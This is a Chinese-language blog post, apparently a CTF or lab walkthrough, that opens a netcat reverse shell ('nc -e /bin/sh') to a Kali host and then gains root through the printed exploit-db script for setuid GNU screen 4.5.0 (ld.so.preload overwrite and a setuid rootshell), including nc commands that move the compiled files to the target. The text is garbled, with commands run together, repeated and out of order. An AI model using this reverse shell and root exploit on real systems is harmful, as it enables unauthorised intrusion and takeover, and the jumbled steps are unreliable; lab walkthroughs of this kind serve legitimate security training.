网络安全技术分享( 三 )


文章插图
 
6.我们用nc反弹一个shell到我们的kali机
首先在kali机上nc -nlvp 1234
然后使用 nc -e /bin/sh IP port 来反弹

网络安全技术分享

文章插图
 
因为这个shell不是很稳定 , 我们用Python换一个shell
NmapVimfindBashMoreLessNanocp7.接下来进行提权
首先我们要查找目前用户有什么root权限的命令(下边两行命令都可以查询)
searchsploit screen 4.5.0
网络安全技术分享

文章插图
 
一般可以用来SUID提权的有
cp /usr/share/exploitdb/exploits/linux/local/41154.sh41154.sh但是我们发现可用的里边没有 , 而且有一个screen-4.5.0的奇怪的东西 , 百度查看一下可以知道这个命令可以用来提权
我们用searchsploit搜索一下漏洞利用脚本
cat 41154.sh?#!/bin/bash# screenroot.sh# setuid screen v4.5.0 local root exploit# abuses ld.so.preload overwriting to get root.# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html# HACK THE PLANET# ~ infodox (25/1/2017) echo "~ gnu/screenroot ~"echo "[+] First, we create our shell and library..."cat << EOF > /tmp/libhax.c#include <stdio.h>#include <sys/types.h>#include <unistd.h>__attribute__ ((__constructor__))void dropshell(void){  chown("/tmp/rootshell", 0, 0);  chmod("/tmp/rootshell", 04755);  unlink("/etc/ld.so.preload");  printf("[+] done!n");}EOFgcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.crm -f /tmp/libhax.ccat << EOF > /tmp/rootshell.c#include <stdio.h>int main(void){  setuid(0);  setgid(0);  seteuid(0);  setegid(0);  execvp("/bin/sh", NULL, NULL);}EOFgcc -o /tmp/rootshell /tmp/rootshell.crm -f /tmp/rootshell.cecho "[+] Now we create our /etc/ld.so.preload file..."cd /etcumask 000 # becausescreen -D -m -L ld.so.preload echo -ne"\x0a/tmp/libhax.so" # newline neededecho "[+] Triggering..."screen -ls # screen itself is setuid, so... /tmp/rootshell
网络安全技术分享

文章插图
 
我们用第一个41154.sh
拷贝过来
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c直接上传这个脚本执行不了
查看一下脚本如何利用
gcc -o /tmp/rootshell /tmp/rootshell.c第一步
将第一部分的c代码放入libhax.c中 然后进行编译
kali:nc -nlvp 1234 < libhax.sonc -nlvp 1234 < rootshell目标机:nc 192.168.2.135 1234 > libhax.sonc 192.168.2.135 1234 > rootshell第二步
将第二部分c代码放入rootshell.c中进行编译
gcc -o /tmp/rootshell /tmp/rootshell.c第三步
通过nc将文件传输到目标机的tmp文件夹 , 因为tmp文件夹的权限一般很大 , 或者也可以直接用蚁剑传输
kali:nc -nlvp 1234 < libhax.sonc -nlvp 1234 < rootshell目标机:nc 192.168.2.135 1234 > libhax.sonc 192.168.2.135 1234 > rootshell
网络安全技术分享

文章插图
 
第四步
我们按照脚本里边的命令一步一步执行就可以了
$cd /etc$umask 000$screen -D -m -L ld.so.preload echo -ne"\x0a/tmp/libhax.so"$screen -ls$/tmp/rootshell提权成功
在root目录下找到flag




推荐阅读